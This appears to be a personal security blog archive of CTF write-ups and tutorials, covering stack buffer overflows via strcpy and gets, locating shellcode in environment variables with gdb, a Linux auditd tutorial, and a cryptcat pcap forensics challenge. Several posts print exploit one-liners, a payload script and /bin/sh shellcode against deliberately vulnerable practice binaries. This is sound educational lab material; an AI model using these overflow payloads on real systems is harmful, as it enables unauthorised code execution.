MMA CTF 2015 Steganography 100 Nagoya Castle writeup

September 7, 2015 2 comments

This challenge was one among the easiest. The flag was readable in the blue plane!

Given this image, we need to find the flag.


Either write a script using Python PIL library or just use the stegsolve tool and view the image in a blue plane 0 to get the flag.


Finding the Environment Variables on the Stack

Two weeks back while working on a exploitation challenge, I found a method to locate the environment variables on the stack using a debugger(gdb). As you all know, environment variables store dynamic values ( mostly PATH ) and the running processes use them to install files, find profile settings etc. You can list the environment variables in your Linux machine using the env command,

➜ ~ [0] env



SESSION=Lubuntu ANDROID_SDK=/usr/share/android-sdk/sdk LANG=en_US.UTF-8 (stripped)

Here is one example of an environment variable,

➜ ~ [0] echo $HOME


We usually keep the shell code in a environment variable (say HOME) and we overwrite the program’s return address with environment variable’s address, which would spawn a shell ( /bin/sh ). This is how we export a shell code into an environment variable,


The shell code in the picture works for x86 binaries. I would advice you to find a suitable shell code for your architecture from shellstorm. I added 19 bytes of NOP sled (\x90) in the beginning of the shell code. Now will look how to find the $HOME variable’s address inside the debugger. Below is the general method,

(gdb ) x/s *((char **)environ+i), where i = 0 to n.

Some examples,

(gdb) x/s *((char **)environ+0)

0xffffd67d: “XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0”

(gdb) x/s *((char **)environ+1)

0xffffd6b1: “XDG_CONFIG_DIRS=/etc/xdg/lubuntu:/etc/xdg/xdg-Lubuntu:/usr/share/upstart/xdg:/etc/xdg”

(gdb) x/s *((char **)environ+2)

0xffffd707: “SESSION=Lubuntu”

(gdb) x/s *((char **)environ+50)

0xffffdd70: “HOME=”, ‘\220’ , “\35330^\211v\b1\300\210F\a\211F\f\211\363\215N\b\215V\f\260\v̀\350\343\377\377\377/bin/sh”

\220 represents the NOP sleds ( \x90 in hex). The method mentioned above is well known and I have often noticed in the internet. But it will not work when the binaries are stripped. i.e the debugging information will be removed. Binaries can be stripped using this command,

$gcc -s <binary_name>

So the given binary was stripped. The method mentioned above didn’t help me to find the address. Only option left was to find it on my own. Understanding the stack layout (see the picture below) helped me to find those addresses. I made a rough layout of the stack in MS OneNote, please let me know if you find anything peculiar in the picture. I would like to modify.

Stack_Layout   As you could see from the layout, the environment variables are 16 bytes (0x10) from the base pointer (ebp). Since the binary is stripped, I found the main() function’s address from __libc_start_main(). Here is my alternate solution to find to environment variables on the stack. The logic looks something like this,

mov    0x10(%ebp),%eax

mov    (%eax),%eax

%eax will have the 1st environment variable. To find the next,

mov    0x10(%ebp),%eax

add    $0x4,%eax

mov    (%eax),%eax

Adding 4 bytes every time will give you the address for the next environment variable. See below how it is done in gdb,

(gdb) x/wx $ebp+0x10

0xffffd3c8: 0xffffd460

(gdb) x/wx 0xffffd460   –  **env

0xffffd460: 0xffffd659

(gdb) x/s 0xffffd659      –  env[0]

0xffffd659: “XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0”

(gdb) x/wx 0xffffd460+4 

0xffffd464: 0xffffd68d

(gdb) x/s 0xffffd68d     –  env[1]

0xffffd68d: “XDG_CONFIG_DIRS=/etc/xdg/lubuntu:/etc/xdg/xdg-Lubuntu:/usr/share/upstart/xdg:/etc/xdg”

(gdb) x/wx 0xffffd460+8

0xffffd468: 0xffffd6e3

(gdb) x/s 0xffffd6e3     –  env[2]

0xffffd6e3: “SESSION=Lubuntu”

(gdb) x/s 0xffffdd70     –  env[50] – HOME variable (Shell cdode)

0xffffdd70: “HOME=”, ‘\220’ , “\35330^\211v\b1\300\210F\a\211F\f\211\363\215N\b\215V\f\260\v̀\350\343\377\377\377/bin/sh”

By this way I found the location of the HOME environment variable, where I placed the shell code. P.S The address you get here and the address outside gdb are different. If you want to exploit a bug outside gdb, then you may have to use this program (below), disassemble it to find the address. Additionally, adding NOP sleds before the shell code is much safer.

#include <stdio.h>  
#include <stdlib.h>

int main () 
    printf("HOME : %s\n", getenv("HOME")); 
    return 0; 

Buffer Overflow using strcpy()

I tried few buffer overflow challenges last week and here is my writeup on those. I don’t like to mention the challenge website name, since this writeup may mislead beginners like me. If you are trying these binaries, I would recommend you, not to load the binaries in IDA hex rays. This is severely going to affect your reverse engineering skills. The x86 binaries I have shared with you in this article has stack protection disabled with permission 775. The goal of the challenges will be either to get a secret message or getting a shell.

Overflow 1

Click here to download the binary.

Verify the md5 checksum: a8472c471b23da84769669cd1506d880.

When you just run the binary it will not print anything to stdout. Let’s load it in a debugger and will understand the assembly.


Quiet clear, the program expects a command line input.

8(%ebp) == ebp+8 –> argc

0xc(%ebp) == ebp+12 –> argv

Now will try running it again along with an argument “Hello”.

(gdb) run Hello
Starting program: challenge1 Hello
The secret is 0
[Inferior 1 (process 14492) exited normally]
Well we have to control a variable. So, we need to identify the value which is compared and the variable(can also be an array) to control the output. When you go further, you can see a call made to function vuln(). The argument to the vuln() function is our input, i.e argv[1]. Let us disassemble the function and see what’s going on,


Key points from the assembly,

1. There is a function strcpy() which leads to buffer overflow vulnerability.

2. A check is made at 0x08048531, if a variable == “0xc0deface” then we get a shell. (Disassemble give_shell and see)

We need to overwrite the variable with the value “0xc0deface” in order to get a shell.

Here is the idea,

1. Find out the buffer’s address

2. Find out the variable’s address.

3. Find the number of bytes necessary to overwrite the variable.

Here is the technique to find the buffer address,

char *strcpy(char *dest, const char *src);

Arguments are pushed from right to left in the stack. *dest is our buffer and *src is our argv[1] -> “Hello”.

0x0804851f <+13>:    mov    0x8(%ebp),%eax

%eax should contain our argv[1]’s address. Check that out by inserting a breakpoint after this instruction.


You could see the “Hello” string which we passed as an argument. It’s now confirmed it is argv[1]. Similarly after this instruction eax register must contain the buffer’s address,

0x08048526 <+20>:    lea    -0x1c(%ebp),%eax

Put a break point in the next instruction and find the buffer address in %eax. I got the buffer address to be 0xffffd2ac. Yours might be different.  Now we need to find the variable’s location. See these instructions,

0x08048531 <+31>:    cmpl   $0xc0deface,-0xc(%ebp)

0x08048538 <+38>:    jne    0x8048541 <vuln+47>

0x0804853a <+40>:    call   0x80484dd

When the variable at the location ebp+12 is equals 0xc0deface we get a shell else the program will simply exit. Find out the ebp’s value after giving “info registers” and add 12 to the resulting address which would give the address of the variable we need to over write with 0xc0deface. Now we have the buffer address and the address of the variable. Subtract (variable’s address – buffer’s address) to get the number of bytes required to reach the variable.


The screen shot initially shows the register contents from where I found the buffer’s address in eax register. Then I found ebp and I did ebp-0xc to find the location of the variable, then I computed the bytes required to reach the variable from the buffer. So it seems 16. Now will overwrite and will spawn a shell. Remember the value to be overwritten is “0xc0deface” and this is an intel architecture, hence the input has to be in little endian format. So 0xc0deface has to be given as \xce\xfa\xde\xc0. Here is the exploit : ./challenge1 $(python -c “print ‘a’*16+’\xce\xfa\xde\xc0′”)


** End of Writeup 1 **

Overflow 2

Download the binary from here. Get a shell.

MD5 Checksum of the binary : c2c3707a692d945d581dddc88bc6c125

When you run it, the binary will not produce any output. Let us disassemble and see the assembly. Will start with the main function.


The program checks if we are providing at least one argument and it passes the command line argument to a function called vuln(). Next will disassemble the vuln function,

This function copies our CLA to a buffer using strcpy(), which is vulnerable to buffer overflow attack. Put a break point at the address 0x080484f2 and examine the %eax register.

Address of the buffer : 0xffffd2dc

Return address is at : 0xffffd2f0

To just exploit this simple binary, you could store a shellcode on an environment variable and overwrite the return address with the environment variable’s address, which would end up in getting a shell. But in this binary, there is a hidden function ( give_shell()) which you could identify using objdump and by using the gdb itself.


Address of the give_shell function is : 0x080484ad

This function will give you a shell,

(gdb) x/s 0x80485b0
0x80485b0:    “/bin/sh -i”

Now we don’t have to use environment variables and shell codes to spawn a shell. We just have to overwrite the return address of vuln() function with address of give_shell() function. Number of bytes between the buffer and return address in vuln() function is 20 bytes.

(gdb) print 0xffffd2f0-0xffffd2dc
$1 = 20

Here is how you can get a shell,


** End of Writeup 2 **

Overflow 3

Download the binary from here.

MD5 Checksum of the binary: b8765e897e9cc1d6e6648779efdf11bb

Running the binary displays this message, “Usage: stack_overwrite [str]” . When we run with an argument it says we lose.

➜  Binary [1] ./overflow3 hello                                                   
win = 0
Sorry, you lose.

The objective will be clear when you see the variable name and the output. The challenge is about buffer overflow and we have to control the variable “win” i,e change the variable “win” to complete this challenge. Let’s look into the binary by disassembling the main function,


The program initially calls geteuid and setresuid() which sets the real, effective and group IDs. There is a call made to a function vuln() which passes 0 and the CLA as arguments. Here is the assembly of vuln() function,


You could see our command line argument is copied to a buffer using strcpy(). Little bit below, you can see  there is a comparison made just after the printf() call. This could be win variable’ location. Examine the arguments passed to the printf() function which could give some clues (Do it by yourself). Put a break point at (0x08048572), the next instruction i.e after the comparison has been made. Now find out the address of ebp-4 which should give the location of the variable “win”.

(gdb) p/x $ebp-0x4
$1 = 0xffffd2dc

Now find the address of the buffer. Run the program after putting a break point after the strcpy() function. You will find the address of the buffer in %eax register.

Address of the buffer: 0xffffd29c

No of bytes needed to overwrite the win variable,

(gdb) print 0xffffd2dc-0xffffd29c
$3 = 64

Now here is the exploit,

$ /overflow3 $(python -c ‘print “a”*64+”\x01″‘)

You got the shell!


Backdoor CTF 2015 echo writeup

April 2, 2015 5 comments

I made a rough outline of the binary file given to us,


{    Reads a file called flag.txt and writes to stdout. flag.txt is stored in the server; }


{    Gets the user input and displays back the input in stdout; }


{    calls the test() function;    }

Our task would be to:

1. Overflow the buffer using gets()

2. Find out the number of bytes between buffer and the return address.

3. Overwrite the return address of test() function to sample() function’s address, which would eventually return us the contents of flag.txt

You may find different addresses when you work out, since I changed the permission of the binary to 777. To get the flag, you should not be changing the permissions to 777. When you run the script please give the return address to be 0x0804857d instead of 0x0804854d. The explanation given below is done after changing the permission to 777.

The problem was not clear initially, as the sample() function was not called either from the main() or from the test() function. I found the sample() function when I tried to run objdump on the given binary.


Here is the screenshot of sample function when the permission of the binary is not changed.

Our next function is test(), where we can find the gets() function, which is vulnerable to buffer overflow. Now will test the vulnerability before proceeding further.

➜ backdoor [139] ./echo

ECHO: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[1] 4671 segmentation fault (core dumped) ./echo

Well it worked. Here is the test function’s assembly code,

(gdb) disas test

Dump of assembler code for function test:
0x080485c0 <+0>: push ebp
0x080485c1 <+1>: mov ebp,esp
0x080485c3 <+3>: sub esp,0x58
0x080485c6 <+6>: lea eax,[ebp-0x3a]  <—— target!
0x080485c9 <+9>: mov DWORD PTR [esp],eax
0x080485cc <+12>: call 0x80483d0 <gets@plt>
0x080485d1 <+17>: mov eax,ds:0x804a034
0x080485d6 <+22>: lea edx,[ebp-0x3a]
0x080485d9 <+25>: mov DWORD PTR [esp+0x8],edx
0x080485dd <+29>: mov DWORD PTR [esp+0x4],0x80486ab
0x080485e5 <+37>: mov DWORD PTR [esp],eax
0x080485e8 <+40>: call 0x8048420 <fprintf@plt>
0x080485ed <+45>: leave
0x080485ee <+46>: ret
End of assembler dump.

Now will find the address of the buffer by analyzing the stack contents by putting a break point after the gets() function call (i.e at 0x080485d1).

(gdb) b *0x080485d1
Breakpoint 1 at 0x080485d1
(gdb) r


Breakpoint 1, 0x080485d1 in test ()

Will now inspect the address stored in eax, which must be our buffer.


‘a’ repeats 67 times so this confirms that buffer’s address (0xffffd24e) is stored in eax. Our next aim is find the address of saved eip (a.k.a return address). This can be done by seeing the frame contents in gdb. “info frames or just i <space> f”

(gdb) i f
Stack level 0, frame at 0xffffd290:
eip = 0x80485d1 in test; saved eip = 0x61616161
called by frame at 0xffffd294
Arglist at 0xffffd288, args:
Locals at 0xffffd288, Previous frame’s sp is 0xffffd290
Saved registers:
ebp at 0xffffd288, eip at 0xffffd28c

Look at the saved eip’s value -> 0x61 corresponds to “a”. This means we have overflowed the buffer and overwritten the return address. Now we don’t want “a” i.e 0x61 in our saved eip, instead we want to store the sample() function’s address. Sample function address can be found at 0x0804854d. The saved eip’s location is at 0xffffd28c (see above).  To overwrite the return address with our sample function’s address, we will subtract the buffer address from the saved eip, which will give the number of bytes we need to overflow.

(gdb) print 0xffffd28c-0xffffd24e
$1 = 62

So we have to enter 62 “a”s followed by the sample() function’s address for a successful exploitation. Here is the script which was written by my teammate( 😛 😛 hacker), which helped us to get the flag.


from struct import pack

padding = "A"*62
sample = 0x0804857d #Script will work with 0x0804857d since I changed the permissions locally.

def main():
 payload = padding
 payload += pack("<I", sample)
 print payload

if __name__ == "__main__":


So the flag is 96f674623c2c378f89700aa46f02cf3b311489f0fac6fd5885d4bc1a129a. Credit goes to you as well b3h3m0th 😛

Auditing File Events in Linux

December 29, 2014 Leave a comment

Audit Linux is an open source framework which monitors files/folders and provides useful accounting information whenever an event occurs. For example you can deploy the framework to detect policy violations in your company. The information which is logged provides a probative inference for forensic purpose . Audit linux is going to answer the following questions,

1. How can I track the changes when my file is modified?

2. How will I know which user in my computer accessed a file?

3. Which application program is used to access the file?

4. At what time a particular event happened?

5. Inode number and more.

Not only the above 4, it can also provides variety of information. Audit Linux is comprised of auditctl, ausearch, aureport, auditd, audispd, autrace, aulast, aulastlog, ausyslog, auvirt. But today we are going to see only the following the tools,

auditctl – This is a tool which is going to monitor all the events of a file we are interested.

ausearch – A tool which can be used to display the logged events

aureport – Prepares a brief report based on the collected logs.

To install the framework in Ubunt,

$ sudo apt-get install auditd audispd-plugins

This is how we usually monitor a file,

➜  ~ [255] sudo auditctl -w /home/h1dd3ntru7h/demo.txt -p rwxa -k pattern1

-p – if any reads/writes/executes/appending happens on the file demo.txt it will be logged. The -k flag can be used to uniquely identify the particular activity when there are too many log entries.

To see the applications which has accessed the file, we use ausearch. If you have setup log watching for multiple files, then you may leverage the -k flag, which can uniquely identify the logs of demo.txt file. You can also use like this  $ sudo ausearch -f demo.txt -k pattern1

➜  ~ [0] sudo ausearch -f  demo.txt
time-&amp;amp;gt;Sun Dec 28 20:01:41 2014
type=PATH msg=audit(1419777101.038:189): item=0 name=&amp;amp;quot;demo.txt&amp;amp;quot; inode=2883912 dev=08:06 mode=0100664 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL
type=CWD msg=audit(1419777101.038:189):  cwd=&amp;amp;quot;/home/h1dd3ntru7h&amp;amp;quot;
type=SYSCALL msg=audit(1419777101.038:189): arch=c000003e syscall=2 success=yes exit=3 a0=7fffd1b3978a a1=0 a2=1fffffffffff0000 a3=7fffd1b38b70 items=1 ppid=8610 pid=16233 auid=4294967295 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=4294967295 comm=&amp;amp;quot;cat&amp;amp;quot; exe=&amp;amp;quot;/bin/cat&amp;amp;quot; key=&amp;amp;quot;pattern1&amp;amp;quot;

i) uid=1000 is the user who accessed this file, here it is me. You can use the command id to see the user-name.

ii) tty=pts1 – If I am correct there are 7 controlling terminal in Linux (Ubuntu), which you can check using Ctrl+Alt+(F1 | F2 .. | F7). By default we log in tty1. Try opening the file from tty2, it will show tty’s value as tty2. Now, you may ask me, why the value of tty is not tty1|tty2..|tty7 instead of pts1..pts7. If you use a terminal then the value can be any of the tty’s. But when you use a Xterm terminal or a ssh terminal then the value would be either of any pts. If you have accessed the same file from another machine using ssh, the tty value will be from any of the seven controlling terminal. For example, below shows the tty value to be from a different console (pts6) when I displayed a file from another machine.

time-&amp;amp;gt;Sun Dec 28 23:34:44 2014
type=PATH msg=audit(1419789884.132:336): item=0 name=&amp;amp;quot;file.txt&amp;amp;quot; inode=2883678 dev=08:06 mode=0100664 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL
type=CWD msg=audit(1419789884.132:336):  cwd=&amp;amp;quot;/home/h1dd3ntru7h&amp;amp;quot;
type=SYSCALL msg=audit(1419789884.132:336): arch=c000003e syscall=2 success=yes exit=3 a0=7fff68de3c3a a1=0 a2=1fffffffffff0000 a3=7fff68de1da0 items=1 ppid=21137 pid=21277 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts6 ses=2 comm=&amp;amp;quot;cat&amp;amp;quot; exe=&amp;amp;quot;/bin/cat&amp;amp;quot; key=&amp;amp;quot;pattern2&amp;amp;quot;

You can also check who is currently logged in your machine using the “last” command.

iii) audit(1419777101.038:189) == Sun Dec 28 20:14:18 IST 2014. The converted epoch time can be found above audit() or manually you can check using date command,

➜  ~ [0] date -d @1419777858.320
Sun Dec 28 20:14:18 IST 2014

iv) inode=2883912 : To get more information about the inode entry, you can give the inode number in debugfs tool,

➜  ~ [0] sudo debugfs /dev/sda6  #sda6 is where my / is mounted
debugfs 1.42.9 (4-Feb-2014)
debugfs:  stat &amp;amp;lt;2883912&amp;amp;gt; # inode entry for demo.txt

Inode: 2883912   Type: regular    Mode:  0600   Flags: 0x80000
Generation: 1756762240    Version: 0x00000000:00000001
User:  1000   Group:  1000   Size: 3811
File ACL: 0    Directory ACL: 0
Links: 1   Blockcount: 8
Fragment:  Address: 0    Number: 0    Size: 0
ctime: 0x54a01453:4085c294 -- Sun Dec 28 20:01:47 2014
atime: 0x54a01453:4085c294 -- Sun Dec 28 20:01:47 2014
mtime: 0x54a01453:4085c294 -- Sun Dec 28 20:01:47 2014
crtime: 0x54a01453:4085c294 -- Sun Dec 28 20:01:47 2014
Size of extra inode fields: 28

Inode gives much more information now with 3 timestamps: Changed time, Modified time and Access time. If you delete the file, and then if you do the following then you can notice another time stamp dtime, which logs the time at which the file is deleted.

v) I guess rest are self explanatory. 🙂

If you append -i to ausearch then you can see the user-name(not user-id) as well as the system call name instead of the system call number.

➜  ~ [0] sudo ausearch -f demo.txt -i

type=PATH msg=audit(Sunday 28 December 2014 �@.320:220) : item=0 name=demo.txt inode=2883987 dev=08:06 mode=file,664 ouid=h1dd3ntru7h ogid=h1dd3ntru7h rdev=00:00 nametype=NORMAL
type=CWD msg=audit(Sunday 28 December 2014 �@.320:220) :  cwd=/home/h1dd3ntru7h
type=SYSCALL msg=audit(Sunday 28 December 2014 �@.320:220) : arch=x86_64 syscall=open success=yes exit=3 a0=0x7ffffae07cbf a1=O_RDONLY a2=0x1fffffffffff0000 a3=0x7ffffae05aa0 items=1 ppid=16673 pid=16886 auid=unset uid=h1dd3ntru7h gid=h1dd3ntru7h euid=h1dd3ntru7h suid=h1dd3ntru7h fsuid=h1dd3ntru7h egid=h1dd3ntru7h sgid=h1dd3ntru7h fsgid=h1dd3ntru7h tty=tty2 ses=unset comm=cat exe=/bin/cat key=pattern1

You can also find the logs using,

Process id : ➜  ~ [0] sudo ausearch -f demo.txt --pid 16886
User id : ➜  ~ [0] sudo ausearch -f demo.txt --uid h1dd3ntru7h
Using an application : ➜  ~ [0] sudo ausearch -f demo.txt -x cat

Some cool stuff that we can do using Audit LInux.

Login attempts : ➜  ~ [0] sudo aureport -i -au –success         |  –failure ( for failed attempts)

For a detailed report : ➜  ~ [1] sudo aureport

Seccon 2014 Writeups Networking 100 and Programming 100

December 7, 2014 Leave a comment

Missed out lot of challenges due to exams, but could complete only the basic one’s. Here is the writeup for the 2 challenges solved during the contest!

Networking 100

Download the pcap here

The first networking challenge was an easy one. If you dump the http objects you can see an html page stating that the credentials given for validation was wrong. If you look into packet no 23 you can see the same user logging in successfully. So the username and password given for validation must be correct and the credentials can be found in HTTP request. You can see them in packet no 21. The credentials were,

username : seccon2014

password : YourBattleField


When you use the credentials after logging into the page you will notice a key.html file, when you click it, you can see the flag!


Programming 100

There is a service running in the following address The service throws a list of numbers for more than 50 times and it will be asking us either to find either the maximum or minimum among the list. I wrote a script which can parse and automate the response to the service,

import socket

def netcat(hostname, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((hostname, port))
    while 1:
        numbers = []
        data = s.recv(902400)
        print data
        server = data.split('\n')
        values = server[0].split(',')
        for i in values:
            except ValueError:
            if server[1].find('max') &amp;gt; 0:
                print 'Sent:',max(numbers)
            elif server[1].find('min') &amp;gt; 0:
                print 'Sent:',min(numbers)
        except ValueError:

    print &amp;quot;Connection closed.&amp;quot;


After some 5 minutes I got the flag to be,


The Flag is SECCON{Programming is so fun!}

CSCamp CTF 2014 Forensics 100 writeup netcat, Cryptcat Who Cares?

November 23, 2014 2 comments


Download the challenge file from here.

Given a pcap file and we were asked to submit the hash of the encrypted file after reconstructing it. The challenge title will help you to get started. First I tried to learn the differences between netcat and cryptcat tools. Netcat is an opensource application which can read and write files to the network. Netcat can also be used to create backdoors ;). But netcat doesn’t encrypt the data during transit. If we can sniff the packets we can get the transferred files in clear text. The only disadvantage of using netcat. In order to fill the gap, Hobbit came up with a slightly modified version of nc called as Crypcat. It essentially scrambles the conversation using the Twofish encryption method. Twofish is an symmetric key encryption algorithm which takes a secret key as an argument to encrypt as well as to decrypt the conversation. Now, all the files/conversations which are transferred will be encrypted using the Twofish+shared secret key. Only those who know the secret key can alone will be able to see the message after decryption.

Our goal is to find the binary file which is encrypted and transferred using cryptcat. One more thing you have to understand here is, Cryptcat doesn’t use a SSL protocol to transfer files. They encrypt the data with the Twofish algorithm and resulting data will be sent across the network either using TCP or UDP protocol. So here is another question, “How are we going to categorize the encrypted data and normal data from the TCP stream. Here is some of my thoughts,

1 .Crypcat files are transferred between machines. Since it is a CTF contest, most likely between 2 machines having private address.

2. Since cryptcat and netcat uses TCP/UDP protocol, you can ignore the rest (like SSDP, SSL etc) from the pcap file.

3. You don’t need the Microsoft update files (.psf), which can be seen in the beginning – Microsoft doesn’t use Cryptcat to do them

4.  You don’t have look into SSDP protocol, which relies on UDP. The protocol just advertises the broadcast packets and to discover devices. Our purpose is different here.

When you ignore the aforementioned protocols only TCP will left out.  So apply the filter “tcp” in wireshark to find out the IP addresses of the machines which used cryptcat to transfer files. The IP addresses are and Use this filter “ip.src== and ip.dst==” to get the complete conversation. As I said earlier in-order to encrypt the conversation we use cryptcat with a shared secret key. When you go through the packets, you can see that initially the conversation has happened using netcat, which will not encrypt the conversation.


You can find the secret key in those packets, which will be used to encrypt the rest of the conversations. As per the conversation shown here, herp requested derp to communicate securely using cryptcat and the secret key (Dagaga).


Also herp has sent the actual cryptcat application ( in DOS) for derp to communicate . You can find the executable in packet number 7036.


You need to extract the executable first. Because you are going to use the same executable to decrypt the encrypted conversation. Herp once again notifies derp that he has sent the executable and the secret key. You can see the message in the packets from 7091 to 7291. Packets from 7301 to 7980 are encrypted using the secret key. If you look at the packet 7692’s size, you will understand that a file has been transferred. The question here would be “How are we going to decrypt the encrypted binary file?”. I tried resending the entire pcap file with the secret key to decrypt the encrypted streams. You can do like this in your machine,

$ cryptcat -l -k Dagaga -p 7070 < pcaponly.pcap  -> Machine 1
$ cryptcat -k Dagaga 7070 > file.pcap   -> Machine 2

Obviously I got the same contest file again since we are encrypting the encrypted packets again. Then I thought to reconstruct the encrypted file alone (found in packet no 7692) and decrypt it using an online tool. It didn’t click anyway.  Before using that you have to pull it out of the stream.


As expected the file type is a raw data, since the binary file’s header should also got encrypted.

➜  100 [0] file binary1.dat                                                    
binary1.dat: data

Then I used openssl to decrypt it, failed again. Well I ran out of options and was thinking for a solution. We need a mechanism which can decrypt a file, while it is in transit. I remembered my early days where I used to copy small files using netcat. This has really helped me to solve this problem. Usually I use netcat like this to copy a file from one machine to another,

$ nc -l portno < filename.extension                 --> server end
$ cat filename.extension | nc client_ip port_no         --> client end

This is how it works, while transferring a file from server we will concatenate each and every bit of the same file at the other end. Similarly I used netcat to send the encrypted file from my linux machine and on the other side I used cryptcat( found from the pcap file) to decrypt the file by specifying the secret key.


final.exe and binary1.dat are the reconstructed cryptcat application and encrypted file respectively. is my Windows machine’s IP address. Once when the file is transferred, check the whether file type is still the raw data or changed to something else!

➜  100 [0] file named.dat                                                      
named.dat: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Yes!!!! 😀 it did change! So the encrypted file is actually a windows binary! Now calculate the md5sum to get the flag,

➜  100 [0] md5sum named.dat                                                    
32170cab0f59ce6e1fc8df51a757cc99  named.dat

This is how I solved the challenge. The flag is 32170cab0f59ce6e1fc8df51a757cc99

Let me know if there are any alternate method to solve it! 🙂


CTF | Amrita

Thoughts - always free of cost !!

Simple words gr8 thoughts ...

RAM Slack - Random Thoughts from a Computer Forensic Examiner

Random Thoughts from a Computer Forensic Examiner


behind the scenes

DFIR Journal

Trials and Tribulations of a DFIR life

I dont know zilch !

For the noobs out there like me

X-Ways Forensics Practitioner's Guide

The Guide to X-Ways Forensics!

Forensic Focus - Articles

Digital forensics articles and research papers

my abbreviations......

gain,learn and share knowledge!!!!


Windows Logging Service (WLS), DFIR, etc.

Belkasoft Forensic: The Digital Evidence Blog

Searching for, analyzing and recovering digital evidence

Gail Tredwell. Amma. Truth. Lies. Scandals. Fraud. And. Reality

Three things cannot be long hidden: the sun, the moon, and the truth.

Integriography: A Journal of Broken Locks, Ethics, and Computer Forensics

Musings about UAVs, search & rescue, computer forensics, cyber security, and the state of play in all .....

Life is beautiful

when the mind is full with love, you see beauty in every thing

Techno Krat

.... Dare To Try .......